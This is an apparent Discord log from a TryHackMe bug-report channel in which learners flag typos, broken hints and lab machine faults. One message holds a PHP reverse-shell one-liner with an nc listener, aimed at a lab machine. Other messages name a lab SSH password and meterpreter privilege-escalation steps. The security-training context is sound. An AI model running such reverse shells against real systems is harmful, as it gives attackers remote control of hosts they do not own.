Thumbnail Design by Varg: https://twitter.com/Vargnaar

John Hammond's Channel: https://www.youtube.com/user/RootOfTheNull

TryHackMe Intro to Python Room: https://tryhackme...

▶ Play video

mossy zinc Dec 16, 2020, 9:38 AM

#

kk, alright

#

😄

north gyro Dec 16, 2020, 12:40 PM

#

room Linux strength training,
suggest change
What are the proceeding characters after the searched word you found?
to
What are the characters immediately after the searched word you found?

thanks.

obsidian kiln Dec 16, 2020, 12:52 PM

#

@north gyro which task

north gyro Dec 16, 2020, 12:54 PM

#

@obsidian kiln task 2, second last question

obsidian kiln Dec 16, 2020, 12:55 PM

#

That wording didn't make sense as it was, so I have updated it

north gyro Dec 16, 2020, 12:58 PM

#

@obsidian kiln thanks! 👍

tall nexus Dec 16, 2020, 1:52 PM

#

https://media.discordapp.net/attachments/743890967572250697/788764834988425276/unknown.png?width=960&height=131

#

proceeding is correct. but if the update makes it easier for people thats fine 🙂

obsidian kiln Dec 16, 2020, 2:03 PM

#

You wouldn't use it in that context @tall nexus. Subsequent is the word you'd use when describing something that comes after something else.

#

Proceed as a verb does indeed mean to go forward though

#

(and use, that is weird, given you'd use preceding for something that comes before -- just a weird nuance of English)

astral briar Dec 16, 2020, 2:04 PM

#

'Windows Fundementals' is a typo on here https://tryhackme.com/paths

#

Complete Beginner path

tiny ginkgo Dec 16, 2020, 3:10 PM

#

A small Typo in AOC2 Day 15's task. I think the word should be "Wise" instead of Wide.

📎 Screenshot_from_2020-12-16_20-40-19.png

#

📎 Screenshot_from_2020-12-16_20-35-20.png

eternal summit Dec 16, 2020, 3:11 PM

#

No it should say Wide

#

It's a reference to @faint ridge who is both wide, wise, and door control staff

faint ridge Dec 16, 2020, 3:12 PM

#

Yeeee

dusky junco Dec 16, 2020, 3:19 PM

#

Emphasis on wide

tiny ginkgo Dec 16, 2020, 3:21 PM

#

eternal summit It's a reference to <@!106802244329955328> who is both wide, wise, and door cont...

Oh Okay. But in the very next code block, it is written "Wise"

📎 Screenshot_from_2020-12-16_20-50-50.png

eternal summit Dec 16, 2020, 3:21 PM

#

He can be both

tiny ginkgo Dec 16, 2020, 3:22 PM

#

Oh..got it. Thanks for the clarification

#

Shouldn't the age declaration and the print statement be on seperate lines?

📎 Screenshot_from_2020-12-16_20-49-35.png

tiny ginkgo Dec 16, 2020, 3:52 PM

#

It is said here that the range function in python is inclusive but it is not. The last number i.e. the value passed to the stop parameter is not included in the range.

📎 Screenshot_from_2020-12-16_21-15-22.png

vocal zinc Dec 16, 2020, 3:54 PM

#

dis true^

hazy tiger Dec 16, 2020, 3:57 PM

#

Smh Bee

eternal summit Dec 16, 2020, 4:05 PM

#

@dusky junco can u fix plz?

#

📎 unknown.png

dusky junco Dec 16, 2020, 4:08 PM

#

Bare with, that should of been updated?

#

but it doesn't appear to hav ebeen

vocal zinc Dec 16, 2020, 4:08 PM

#

~~bear~~

tiny ginkgo Dec 16, 2020, 4:37 PM

#

There are few errors in this block of code that I would like to address

📎 Screenshot_from_2020-12-16_22-03-11.png

#

Firstly the requests.get() methods returns a response object which is getting stored in the html variable

#

To convert that object into a sting object we can use "html.text"

#

The BeautifulSoup() function accepts a string in the first parameter which will be parsed using the parser we are specifying in the second parameter. So for this example we have to pass html.text instead of html.

#

Secondly, find_all() method accepts a HTML tag as input. So instead of passing " a href" we should only pass "a" as "a" i.e. achor is a valid tag in html or else it will just return an empty list

#

Finally, To get all the links from webpage we can use the get() method.

#

So..It should be like this :- links = soup.find_all('a')
for link in links:
print(link.get('href')) #We can use this get function to print only the links.

surreal stirrup Dec 16, 2020, 5:59 PM

#

Room Advent of Cyber, today. Have a problem.

#

I cannot speak here. It will disturb the fun.

#

There is a path with all the answers.

#

Everything available in 2 min. No work or scripting.

eternal summit Dec 16, 2020, 6:59 PM

#

@surreal stirrup With the source? That's being fixed atm

surreal stirrup Dec 16, 2020, 7:02 PM

#

Okay

split ibex Dec 16, 2020, 7:04 PM

#

hey in advent of cyber day 16 the server answers with santa's location even if "SANTA PROTECTION MECHANISM ACTIVATED." if you leave the script going, the challenge page says it should block my ip

#

like this

📎 SPOILER_subl.png

drowsy stump Dec 16, 2020, 8:53 PM

#

In day 16 the hint for the second question is wrong. it says its /*/ with 5 asterics and its actually 3

warm wadi Dec 17, 2020, 9:59 AM

#

Burp Suite
Task 7 - Target Definition
Question: What is the term for browsing the application as a normal user prior to examining it further?
Hint: This will both referenced in the paragraph I've included at the start of this task as well as the documentation for OWASP Juice Shop in getting started. Think of it as walking along a certain path.

I believe this is an error spelling and should be worded
This WAS both referenced in the paragraph I've included at the start of this task as well as the documentation for OWASP Juice Shop in getting started. Think of it as walking along a certain path.

drifting hull Dec 17, 2020, 11:38 AM

#

Advent of cyber | day 5 | sql | internal server error ???????

naive tapir Dec 17, 2020, 3:22 PM

#

Hi all.. I'm doing the CC Pentesting, Task 14 John the Ripper.. for questions about format and rules, the answer accepted has "--" but the man page describes single "-"

#

📎 unknown.png

hazy tiger Dec 17, 2020, 3:23 PM

#

Refresh your page, might be regex

naive tapir Dec 17, 2020, 3:23 PM

#

📎 unknown.png

naive tapir Dec 17, 2020, 3:23 PM

#

hazy tiger Refresh your page, might be regex

I did

hazy tiger Dec 17, 2020, 3:25 PM

#

Official documentation https://www.openwall.com/john/doc/OPTIONS.shtml

📎 image0.png

#

Wrong screenshot

#

📎 image0.png

naive tapir Dec 17, 2020, 3:26 PM

#

Ok.. well I would have assumed that the rooms are based on the man pages

hazy tiger Dec 17, 2020, 3:27 PM

#

If I were at my VM, I’d show you that it also has two

naive tapir Dec 17, 2020, 3:27 PM

#

naive tapir

here shows one

hazy tiger Dec 17, 2020, 3:27 PM

#

Your manual seems to be... different?

eternal summit Dec 17, 2020, 3:27 PM

#

They're long form flags

naive tapir Dec 17, 2020, 3:27 PM

#

let me check the attack box

eternal summit Dec 17, 2020, 3:27 PM

#

All the flags are prefixed with -

hazy tiger Dec 17, 2020, 3:27 PM

#

You can also type john -h might be better

eternal summit Dec 17, 2020, 3:27 PM

#

Long form flags are usually --

naive tapir Dec 17, 2020, 3:28 PM

#

well the room also takes single - here a larger screenshot with a previous answer

#

📎 unknown.png

#

the first one has single - as in the man pages

hazy tiger Dec 17, 2020, 3:29 PM

#

Refresh

📎 image0.png

vocal zinc Dec 17, 2020, 3:31 PM

#

Jabba with the OG phone helping technique

#

Welcome to the club

#

kekw

naive tapir Dec 17, 2020, 3:32 PM

#

hazy tiger Refresh

you changed my answer? haha

hazy tiger Dec 17, 2020, 3:32 PM

#

No

#

I don’t have permissions to edit other people’s rooms

#

I’m just a discord moderator 🤷‍♂️

naive tapir Dec 17, 2020, 3:32 PM

#

hazy tiger No

but my answer was single -

hazy tiger Dec 17, 2020, 3:33 PM

#

Regex

#

Answer tolerance

#

Your answers don’t have to be perfect to be accepted

eternal summit Dec 17, 2020, 3:33 PM

#

Refresh the page.

naive tapir Dec 17, 2020, 3:35 PM

#

ok thanks for the help! was very confused.. maybe should add a note saying that if it does not work try with the info from --help

marsh crag Dec 17, 2020, 4:15 PM

#

Hi! When I submit answers in advent of cyber it says that the question was already answered. Refreshing the page make the answer dissappear.

vocal zinc Dec 17, 2020, 4:22 PM

#

@dusky junco

gleaming shadow Dec 17, 2020, 4:22 PM

#

in todays AoC, Shouldn't Double precision be larger than single?

📎 unknown.png

dusky junco Dec 17, 2020, 4:32 PM

#

Correct updated @gleaming shadow ty

gleaming shadow Dec 17, 2020, 4:32 PM

#

wondering if the suffix isn't d as well

#

duplicate question as well

📎 unknown.png

#

ah seems to be fixed after the refresh

green ermine Dec 17, 2020, 6:40 PM

#

i am not able to open this link

📎 bug_.png

vocal zinc Dec 17, 2020, 6:41 PM

#

#778305825797177374

#

Replace machine ip with The machine ip

green ermine Dec 17, 2020, 6:41 PM

#

will that work

vocal zinc Dec 17, 2020, 6:47 PM

#

My 2 options here:
1- answer your question with a yes and repeat what I said before because you didn’t try what I said
2- say no and come off as a poop head because you didnt try what I said

#

I opt for #2

no it won’t work I lied to you

viscid dragon Dec 17, 2020, 6:48 PM

#

Does room vulnversity have certificate?
I completed the room where can i fetch my certificate?

eternal summit Dec 17, 2020, 7:25 PM

#

@viscid dragon No.

viscid dragon Dec 17, 2020, 7:26 PM

#

oh ok thank you

merry merlin Dec 17, 2020, 8:55 PM

#

Hi, im just on Linux: Local Enumeration room, first (seems like super easy) task, i put short script (php -r '$sock=fsockopen("{IP}",{PORT}});exec("/bin/sh -i <&3 >&3 2>&3");') into cmd.php field with my ip and port (with nc -lvnp <port> waiting on my machine) but no shell is spawned, actually via tcpdump nothing even arrives. I tried even simple "nc <my IP> <port>"....nothing, interesting is that routing seems ok, because room website is working fine, any suggestion?

#

mkfifo works, interesting

merry merlin Dec 17, 2020, 9:47 PM

#

copy and think twice, double right curly bracket on port get me...

green ermine Dec 18, 2020, 3:24 AM

#

vocal zinc My 2 options here: 1- answer your question with a yes and repeat what I said bef...

sorry it worked fine

wheat fractal Dec 18, 2020, 7:01 AM

#

Everytime I post something in this channel i'm just being super nit picky about grammar and typos haha i'm sorry cri I found a few (what I think?) are oopsies in the Linux Fundamentals Part 3 room!

#

📎 2020-12-17_07_06_05-TryHackMe___Linux_Fundamentals_Part_3.png

#

"find what your're looking for" Instead of "find what your looking for"

#

📎 2020-12-17_07_08_08-TryHackMe___Linux_Fundamentals_Part_3.png

#

This is under Task 6 -grep in the same room "when I said the syntax was" instead of "when I says the syntax is" Just staying consistent with past tense and the flow of the room! blobheart

#

📎 2020-12-17_06_43_30-TryHackMe___Linux_Fundamentals_Part_3.png

#

This is the last one I swear lol ;;! "except they're called directories" instead of "except their called directories" because "called" is an adjective! :d

smoky sinew Dec 18, 2020, 8:50 AM

#

wheat fractal Everytime I post something in this channel i'm just being super nit picky about ...

I'm exactly like you 😅

green ermine Dec 18, 2020, 2:30 PM

#

i am not able to access this

📎 bug2.png

#

please help me

slate parrot Dec 18, 2020, 2:51 PM

#

Issue in the “OWASP Top 10” room, Task 25, Q2. Visiting IP/admin (without changing cookie values) immediately reveals the flag.

sonic willow Dec 18, 2020, 3:00 PM

#

green ermine i am not able to access this

have you deployed the room? MACHINE_IP will be replaced with the IP given to that instance once it has been deployed

green ermine Dec 18, 2020, 3:00 PM

#

OHH OK

#

so then i have to click the link

surreal stirrup Dec 18, 2020, 3:21 PM

#

||
from typing import Optional

from fastapi import FastAPI

from starlette.applications import Starlette
from starlette.routing import Mount
from starlette.staticfiles import StaticFiles

routes = [
Mount('/static', app=StaticFiles(directory='static'), name="static"),
]

app = Starlette(routes=routes)

app = FastAPI()

counter = 0

@app.get("/items/{item_id}")
def read_item(item_id: int, q: Optional[str] = None):
global counter
counter += 1
if counter >= 50:
return {"item_id": item_id, "q": "SANTA PROTECTION MECHANISM ACTIVATED."}
elif counter == 57:
return {"item_id": item_id, "q": "Winter Wonderland, Hyde Park, London."}
else:
return {"item_id": item_id, "q": "Error. Key not valid!"}
return {"item_id": item_id, "q": counter}

||

#

This is still available

#

Task 21 [Day 16] Scripting Help! Where is Santa?

surreal stirrup Dec 18, 2020, 3:24 PM

#

eternal summit <@204399106515271680> With the source? That's being fixed atm

Don't fixed.

signal shore Dec 18, 2020, 3:26 PM

#

https://tryhackme.com/room/introtox8664
On the if statements continued section, there is a line that reads "The cmpl instruction compares the value of eax with that of the var_8h argument"
It appears the cmpl instruction is comparing the value of eax with that of the var_4h argument.

#

Minor typo, but is still confusing to someone unfamiliar with the subject.

vivid bane Dec 18, 2020, 7:09 PM

#

I found similar thing for other windows machine too

topaz thorn Dec 18, 2020, 7:09 PM

#

#site-bugs message

vivid bane Dec 18, 2020, 7:11 PM

#

topaz thorn https://discord.com/channels/521382216299839518/559443389058252800/7887319967087...

Thanks

glad badger Dec 18, 2020, 8:15 PM

#

Message with image deleted, as it is showing answers. @vivid bane

slate parrot Dec 18, 2020, 8:49 PM

#

I am in the OWASP Room, Task 29. I am running the python script (having commented out the CVE as detailed in the notes), however that is generating the following error on the AttackBox: TypeError: a bytes-like object is required, not 'str'. I have tried adding a .encode() on line 54, but that does not resolve the issue. Any ideas?

latent vessel Dec 18, 2020, 8:52 PM

#

U have a string to be added somewhere it's a type error it means string should not be there at that line other types can be associated there

slate parrot Dec 18, 2020, 10:25 PM

#

The input for the file expects a string …

warm cobalt Dec 18, 2020, 11:15 PM

#

On THM room Break it, task 1 the Insane flag, the pastebin is dead

distant field Dec 19, 2020, 4:34 PM

#

I was currently doing 'Network Services' by @PoloMints. Task 7 mentions a Reverse Shell. I am wondering, why is that mentioned? In my understanding the telnet is no Reverse Shell but a Bind Shell.

eternal summit Dec 19, 2020, 4:37 PM

#

@distant field The telnet service there gives you blind RCE.

#

You're using a reverse shell to go from blind to regular RCE.

#

This isn't a bug.

distant field Dec 19, 2020, 4:39 PM

#

@eternal summit ah! Got it! thank you.

#

Note to self. Finish a room before providing feedback =)

astral briar Dec 19, 2020, 6:20 PM

#

https://tryhackme.com/room/rust
Task 7 (Functions) has an attachment of a .zip and it contains 2 folders (code and questions) but both are empty
Doesn't seem necessary for an external material in order to complete the task questions

sly mason Dec 19, 2020, 6:29 PM

#

on advent of cyber day 12, for the privesc is it intented that ||you can privesc by just running getsystem then migrating to winlogon.exe (in meterpreter)||? (not sure where to post this, sorry if its in the wrong channel)

sonic willow Dec 19, 2020, 7:25 PM

#

@green steppe rust ^^

green steppe Dec 19, 2020, 7:29 PM

#

uh oh

#

thanks jake <£

gleaming shadow Dec 19, 2020, 7:54 PM

#

There's a rust room?

green steppe Dec 19, 2020, 8:01 PM

#

yuppp

#

made by yours truly

astral briar Dec 19, 2020, 8:57 PM

#

it was good thanks 😄

still quiver Dec 20, 2020, 10:22 AM

#

When looking at the 1st hint from Day 16, the hint itself looks like this:

#

📎 unknown.png

#

Not sure if it is a bug or it's intended

hazy tiger Dec 20, 2020, 10:23 AM

#

It looks intended

#

Lemme check

still quiver Dec 20, 2020, 10:25 AM

#

Okey, just wanted to ask in case the hint is supposed o be any other thing

hazy tiger Dec 20, 2020, 10:26 AM

#

Okay I’m going to contact the creator bee; they don’t usually come on for another couple of hours so I’ll let you know when they report back, thanks!

still quiver Dec 20, 2020, 10:33 AM

#

Sure 🙂

#

Thanks

tame aspen Dec 20, 2020, 10:58 AM

#

I don't know if it is already discussed here but i remember there once a time when most of the subscribed rooms were able to open and joined by non-subscribed user. I tried wireshark 101 and few others, and also i was able to open the learning offensive paths and saw the room list there. Was that a bug? I think right now the bug has been resolved somehow

mint harbor Dec 20, 2020, 1:21 PM

#

Room "Break it" - Task 1, Question 5... can it be that the link is broken ( https://pastebin.com/kKkr9SJL )? Same with Task 2, Question 4 ( https://pastebin.com/hrGp1d8T )?

latent terrace Dec 20, 2020, 1:35 PM

#

I see a few a people already asked about it but in the "attacking kerberos" room, the question "What two services make up the KDC?" is shown with a solution format looking like this **,*** It should be like this **, *** With a space after the comma.

opaque compass Dec 20, 2020, 3:04 PM

#

Hello, im in the OWASP Top 10 Room and i think it bugs

📎 unknown.png

#

when i register a new " darren" i dont get automatically logged in as stated
neither can i log in manually with the set password

eternal summit Dec 20, 2020, 3:33 PM

#

Please don't just ping me when you want help.

#

Everyone here is a volunteer.

#

We help when we want, and on our terms.

opaque compass Dec 20, 2020, 3:34 PM

#

understood

latent terrace Dec 20, 2020, 4:57 PM

#

i dont know if this is considered a room bug, but apache guacamole in the "post-exploitation basics" room keeps trying to connect but never gets a actual connection. iv tried over 3 times but there seem to be something wrong, second time i waited for 40 minuts to get a connection but no dice.

slate parrot Dec 20, 2020, 5:36 PM

#

opaque compass when i register a new ```" darren"``` i dont get automatically logged in as stat...

I registered with the space after the name, rather than before, and it worked.

steep pollen Dec 20, 2020, 6:44 PM

#

The room "Year of the Dog" has a bug.

#

The password of the "dylan" user is not working.

#

I double check the write-up.

hazy tiger Dec 20, 2020, 6:45 PM

#

Are you sure you're typing it in correctly

steep pollen Dec 20, 2020, 6:45 PM

#

100%

eternal summit Dec 20, 2020, 6:45 PM

#

Are you sure they're not dynamic passwords?

steep pollen Dec 20, 2020, 6:45 PM

#

Checked ssh and su

#

Would you mind checking on it?

#

If you need anything, pm me!

steep pollen Dec 20, 2020, 6:47 PM

#

eternal summit Are you sure they're not dynamic passwords?

From what I've seen, the password is supposed to be static.

#

Please let me know if you have any updates. thnx

obsidian kiln Dec 20, 2020, 7:08 PM

#

steep pollen I double check the write-up.

I do not accept writeups with passwords in them, so I'd love to know what you're checking that against

#

The box has not been updated since release, and the password for that one is static. Nothing has changed, therefore it will still work

steep pollen Dec 20, 2020, 7:09 PM

#

The writeups don't have passwords in them.

#

But, the password is not working.

obsidian kiln Dec 20, 2020, 7:09 PM

#

The password will work fine

#

I suspect you're skipping the exclamation mark from the end of it

#

Hm, Might have removed that actually. Can't remember

steep pollen Dec 20, 2020, 7:10 PM

#

let me pm u

obsidian kiln Dec 20, 2020, 7:10 PM

#

From memory I changed the password because it wasn't showing up there

#

Also please watch rule one @steep pollen

steep pollen Dec 20, 2020, 7:13 PM

#

deleted the message. sorry for the spoil

obsidian kiln Dec 20, 2020, 7:13 PM

#

I've confirmed that the password is still correct

#

📎 unknown.png

steep pollen Dec 20, 2020, 7:13 PM

#

obsidian kiln From memory I changed the password because it wasn't showing up there

did not get what you mean 'from memory'

obsidian kiln Dec 20, 2020, 7:14 PM

#

As in, I remember doing it

steep pollen Dec 20, 2020, 7:14 PM

#

Isn't the password supposed to be in the FILE

#

grep it...

obsidian kiln Dec 20, 2020, 7:15 PM

#

📎 unknown.png

#

I just did

#

That's a literal copy and paste from the file

steep pollen Dec 20, 2020, 7:15 PM

#

ok

#

let me check again

#

I'm sure i did the copy/paste correctly

#

still nothing

#

let me send you a screenshot in pm

#

@obsidian kiln Thanks for the clearup

opaque compass Dec 20, 2020, 9:47 PM

#

slate parrot I registered with the space after the name, rather than before, and it worked.

ill try that 😄

lucid quiver Dec 21, 2020, 2:08 AM

#

Was messing with the post-exploitation basics room and noticed guac was taking a while to connect to RDP - checked the configuration of the remote system in guac and the access credentials in the guac config are mismatched with the course content. (changed password/domain and it loaded)

twin tapir Dec 21, 2020, 2:39 AM

#

that room has guac what?

#

huh

#

TIL my room has guac on it

#

cc: @lucid oasis I certainly didnt set guac up in that room did you guys or @dusky junco ?

obsidian kiln Dec 21, 2020, 2:48 AM

#

Yes, it was set up Cry

lucid quiver Dec 21, 2020, 2:48 AM

#

ye easy way to see if guac is running is the ol ctrl+alt+shift (pops out the clipboard)

obsidian kiln Dec 21, 2020, 2:48 AM

#

Skidy did it a few months ago

lucid quiver Dec 21, 2020, 2:50 AM

#

anyways ye it worked post credential change

#

i assume those changes dont stick tho lol

north gyro Dec 21, 2020, 4:49 AM

#

ROOM: "ZTH: Obscure Web Vulns"
TASK: "14"
PROBLEM: "Challenge can be bypassed by sending the same JWT token that you are supposed to manipulate!"
PROOF: "copy the JWT provided, and paste into the box"

iron reef Dec 21, 2020, 10:30 AM

#

In "MAL: Researching" the image for hash collisions is the same as the image above

#

@dusky junco

lucid oasis Dec 21, 2020, 10:57 AM

#

twin tapir cc: <@!243160021674754048> I certainly didnt set guac up in that room did you gu...

Yeah I set up Guac on that room.

#

Let me test if its working

#

I disabled it, the problem is the password its using.

obsidian kiln Dec 21, 2020, 11:58 AM

#

@wheat fractal fix

wheat fractal Dec 21, 2020, 12:10 PM

#

Times like this

#

I wish I could just make changes directly

blissful iron Dec 21, 2020, 12:15 PM

#

Hey I'm currently doing the network service room

#

But sadly I get the error that tun0 doesn't exist, Someone who had the same bug ?

obsidian kiln Dec 21, 2020, 12:36 PM

#

wheat fractal I wish I could just make changes directly

Can't you?

obsidian kiln Dec 21, 2020, 12:37 PM

#

blissful iron But sadly I get the error that tun0 doesn't exist, Someone who had the same bug ...

Sounds like you aren't connected to the VPN. Try #site-support 🙂

blissful iron Dec 21, 2020, 12:40 PM

#

@obsidian kiln I'm using the built in vm

obsidian kiln Dec 21, 2020, 12:40 PM

#

Ah, then you don't have a tun0

#

Swap it for eth0 in whatever command the room is telling you to use

#

What's the task/question number?

blissful iron Dec 21, 2020, 12:41 PM

#

Task 7 of the Network services room

obsidian kiln Dec 21, 2020, 12:41 PM

#

I'll add a note in there after a shower

dusky junco Dec 21, 2020, 1:08 PM

#

Thanks @iron reef I have added that to my list 👍

obsidian hawk Dec 21, 2020, 1:26 PM

#

This room :
https://tryhackme.com/room/linuxstrengthtraining
refers this room as pre-requisite:
https://tryhackme.com/room/zthlinux
When you open this link, it says "Owner has made this room private"
Can anybody please refer any other exact room for the same purpose,

TryHackMe

TryHackMe | Linux Strength Training

Guided room for beginners to learn/reinforce linux command line skills

TryHackMe

TryHackMe | Learn Linux

A guided room designed to teach you the Linux basics!

obsidian kiln Dec 21, 2020, 2:03 PM

#

@obsidian hawk Linux Fundaments 1

#

https://tryhackme.com/room/linux1 I believe

slate parrot Dec 21, 2020, 6:07 PM

#

@dusky junco In your MAL Intro course, in Task 2, feel paragraph 2 (including targeted sectors) is actually more consistent with a targeted attack, rather than a mass attack. Mass campaigns are rarely classed as APT either.

slate parrot Dec 21, 2020, 6:08 PM

#

slate parrot <@!106094485129162752> In your MAL Intro course, in Task 2, feel paragraph 2 (in...

A better example of mass campaigns might be something like Emotet.

#

Also, in Task 3, “Maintaining Persistence” and “Persistence” should be combined.

obsidian hawk Dec 21, 2020, 7:13 PM

#

obsidian kiln <@714419982460518482> Linux Fundaments 1

Thanks a lot!🙂

teal barn Dec 21, 2020, 7:56 PM

#

https://tryhackme.com/room/adventofcyber2 - Day 20
I wasn't able to log in SSH with ssh -l mceager 10.10.222.113 or ssh mceager@10.10.222.113 + r0ckStar!
I terminated and deployed back the machine, the ssh service was available only after 5mins (literally) and had to wait 60 sec for password validation.
This task's machine seems to have performance issues.

civic brook Dec 21, 2020, 8:11 PM

#

Day 20 is a windows host so it may take more than the 2 minute timer to load the box complete (up to 5 minutes sometimes), as far as box slowness not to sure there

void sleet Dec 21, 2020, 10:27 PM

#

ís it normal that Lazy admin is a deafault apache2 page?

obsidian kiln Dec 21, 2020, 10:29 PM

#

Yes

formal grail Dec 22, 2020, 2:23 AM

#

For the Lian_Yu room the first actual question asks about a directory that doesnt exist, i checked write ups and found the directory its meant to be and it answered the question ||its 2100|| but the actual box itself doesnt have a ||2100|| file
I restarted the box as well

stiff notch Dec 22, 2020, 7:37 AM

#

civic brook Day 20 is a windows host so it may take more than the 2 minute timer to load the...

It has been 12 minutes (this time last time I did 10 too) but I can't connect to the IP

#

Anyone knows if this is a bug? It's task 25 and day 20

#

21 now :(

dusky junco Dec 22, 2020, 10:58 AM

#

Hey, folks, for those who have completed/attempted/looked at the "Authenticate" room could you please fill out this brief survey please? Trying to gather feedback for it! Thanks ❤️ https://forms.gle/r4phiSRk8pq92sq46

Google Docs

Authenticate Room Feedback

Share your thoughts about THM's Authenticate room (https://tryhackme.com/room/authenticate)

sick badger Dec 22, 2020, 11:35 AM

#

Hello i have a problem for the box https://tryhackme.com/room/ra.
I have credentials for the smb and they worked but now no, i have reset the box a many time you have a idea ?

TryHackMe

TryHackMe | undefined

An online platform for learning and teaching cyber security, all through your browser.

obsidian kiln Dec 22, 2020, 11:36 AM

#

@sick badger the SMB can't be accessed unless you create credentials first. i.e. you need to login as the other user again, change the password, then login with SMB

#

When the box terminates that's it gone. There is no persistence. It resets when it dies.

sick badger Dec 22, 2020, 11:39 AM

#

i create credentials with the website

topaz mauve Dec 22, 2020, 1:49 PM

#

Are CC Radare2 room points in line with other rooms and their difficulty?

hazy tiger Dec 22, 2020, 2:00 PM

#

Not a room bug but all rooms follow the same points system, difficulty does not affect the amount of points you receive for each room.

topaz mauve Dec 22, 2020, 2:03 PM

#

I see, thanks. It just seemed a bit weird that you get ~2k points for one of the rooms 🙂

wraith ledge Dec 22, 2020, 4:39 PM

#

I'm having an issue with one of the room boxes. It deploys, and I can sometimes connect for a couple minutes, then it becomes unresponsive. https://tryhackme.com/room/commonlinuxprivesc

eternal summit Dec 22, 2020, 4:41 PM

#

wraith ledge I'm having an issue with one of the room boxes. It deploys, and I can sometimes...

That sounds like a #site-support issue, I don't understand why you deleted your message there.

wraith ledge Dec 22, 2020, 4:41 PM

#

I can repaste. New here and not sure

left oak Dec 22, 2020, 5:12 PM

#

Am thinking there is a bug in the overhauled RP Nessus room. The first question in task 5 does not take the right id,

tiny ginkgo Dec 22, 2020, 5:29 PM

#

AOC 2020, DAY 20: In the example provided above, The path is provided of a Directory where the Select-String command operates on a file. A wildcard like this \desktop\* can be provided instead in the path to search for the given pattern in all the files present in the Directory.

📎 Screenshot_from_2020-12-22_22-51-15.png

silk hatch Dec 22, 2020, 7:28 PM

#

The new Nessus room is not giving any points, is this intended behavior?

left oak Dec 22, 2020, 7:46 PM

#

@silk hatch You did manage to fill in the first answer in task 5? Mind if I dm you?

silk hatch Dec 22, 2020, 7:48 PM

#

left oak <@!407322420840628234> You did manage to fill in the first answer in task 5? Min...

Sure, i think the 72hs have passed since the launch of the machine so i can give you hints

eternal summit Dec 22, 2020, 7:49 PM

#

@silk hatch that rule doesn't apply to walkthrough rooms, fwiw

silk hatch Dec 22, 2020, 7:50 PM

#

eternal summit <@407322420840628234> that rule doesn't apply to walkthrough rooms, fwiw

Oh, nice, thank you for claryifing

left oak Dec 22, 2020, 8:02 PM

#

thanks to @silk hatch I found the answer that is accepted.. But IMHO it is not the correct answer because this plugin is not used by default and in the task.

#

and the hint is certainly wrong for the accepted answer

silk hatch Dec 22, 2020, 8:03 PM

#

I did ran into the same problem

void sleet Dec 22, 2020, 9:02 PM

#

In Bounty hacker when i access the ftp and do commands as "ls" or "get" it doesnt run and some time forward it gives me a error

📎 unknown.png

#

📎 unknown.png

#

Already restarted the machine and still nothing

left oak Dec 22, 2020, 9:26 PM

#

not a room bug I think. Did you consider what the ftp client tells you?

wheat fractal Dec 23, 2020, 8:37 AM

#

the scylla.sh doesnt work, Not directly a room bug, but worth mentioning

crimson ore Dec 23, 2020, 8:56 AM

#

Nmap room task 3, last question. I've answered '--script vuln' and confirmed is the expected answer by checking with writeups but it won't accept it.

north gyro Dec 23, 2020, 9:01 AM

#

Hi, I'm doing room "Content security policy", in task 7 "attack 5" its required that we abuse a JSONP endpoint to achieve XSS.
the CSP header has script-src 'unsafe-eval' *.google.com now i have crafted a payload that works on myself, however it doesn't work on the bot that checks the site, my suspicion is that the remote machine doesn't have access to *.google.com and therefore my payload doesn't work.

I have confirmed, in my best effort that this machine doesn't have the necessary access to the internet, by trying to exfil to beeceptor

I believe this is a bug in the room. thanks, and yes i have checked the writeup!

obsidian kiln Dec 23, 2020, 9:08 AM

#

@crimson ore you mean the writeups that are not accepted on the room and thus aren't condoned (for a reason)?

#

There's more than one way to specify that option. Look at the spaces in the answer field. Yes that is a correct answer, but it's not the one the room is looking for, and we don't have the option for multiple answers.

north gyro Dec 23, 2020, 9:14 AM

#

@crimson ore the answer is actually pretty much given in the text of task 11 go forward and read it, lol fixed it

glacial aspen Dec 23, 2020, 10:43 AM

#

https://tryhackme.com/room/introtonetworking I hope its a bug on task 8 when we need to answer the city of the registrant of facebook.com. i tiped "Menlo Park" (without quotes) and it didn't worked !

#

📎 unknown.png

#

if it's not can you redirect me to the good topic for it ? apreciate 😉

wheat fractal Dec 23, 2020, 10:44 AM

#

it's the wrong anwser

glacial aspen Dec 23, 2020, 10:44 AM

#

okay thanks !

#

i tried for ages on that lol

#

like you said i was looking at the wrong place thanks

crimson ore Dec 23, 2020, 12:11 PM

#

obsidian kiln <@545568776217952256> you mean the writeups that are not accepted on the room an...

Got it cheers, only checked writeups as I was sure I had it correct, which I did only I didn't!

eternal summit Dec 23, 2020, 12:24 PM

#

wheat fractal the scylla.sh doesnt work, Not directly a room bug, but worth mentioning

If you're gonna report something like that, please provide some context

wheat fractal Dec 23, 2020, 3:15 PM

#

"Note that the arguments are separated the commas, and connected to the corresponding script with period" ***** should replace "the" with "by" ---Inside Task 11

abstract timber Dec 23, 2020, 3:15 PM

#

hey ! is anyone having troubles with the pickle rick web room ? website doesent show up but I can see it's source code

stoic hearth Dec 23, 2020, 3:15 PM

#

Hi guys
I am doing the complete beginner path and on the Nmap room, task 3, last question (https://tryhackme.com/room/furthernmap), i have a wrong answer with a nmap switch I am 99.99% confident of it : --script vuln

#

📎 unknown.png

drowsy stump Dec 23, 2020, 3:16 PM

#

MITRE, task 3, last question, typo

📎 typo.png

hazy tiger Dec 23, 2020, 3:16 PM

#

how many characters are in the answer @stoic hearth

stoic hearth Dec 23, 2020, 3:16 PM

#

13

hazy tiger Dec 23, 2020, 3:16 PM

#

wheat fractal "Note that the arguments are separated the commas, and connected to the correspo...

Room name:
Room link:
Task:
Issue:

hazy tiger Dec 23, 2020, 3:17 PM

#

stoic hearth 13

Your answer only has 11 characters

#

12*

stoic hearth Dec 23, 2020, 3:18 PM

#

i am sorry but i count 13 🙂

wheat fractal Dec 23, 2020, 3:18 PM

#

-NMAP
-https://tryhackme.com/room/furthernmap
-Task 11
-There is a typo in the sentence "Note that the arguments are separated the commas, and connected to the corresponding script with period" --- suggest replacing the word "the" with "by" in my opinion 🙂

eternal summit Dec 23, 2020, 3:19 PM

#

I don't think so

drowsy stump Dec 23, 2020, 3:20 PM

#

I would write "Note that the arguments are separated by commas, and connected to the corresponding script with period"

eternal summit Dec 23, 2020, 3:20 PM

#

Ok "the" was used several times and you didn't state which

hazy tiger Dec 23, 2020, 3:21 PM

#

stoic hearth i am sorry but i count 13 🙂

The point I'm trying to make is --script vuln is 12 characters, without the space. If an answer has a space in it, there will be a space in the *

wheat fractal Dec 23, 2020, 3:21 PM

#

That "the"

drowsy stump Dec 23, 2020, 3:21 PM

#

i wrote the correct sentence

hazy tiger Dec 23, 2020, 3:21 PM

#

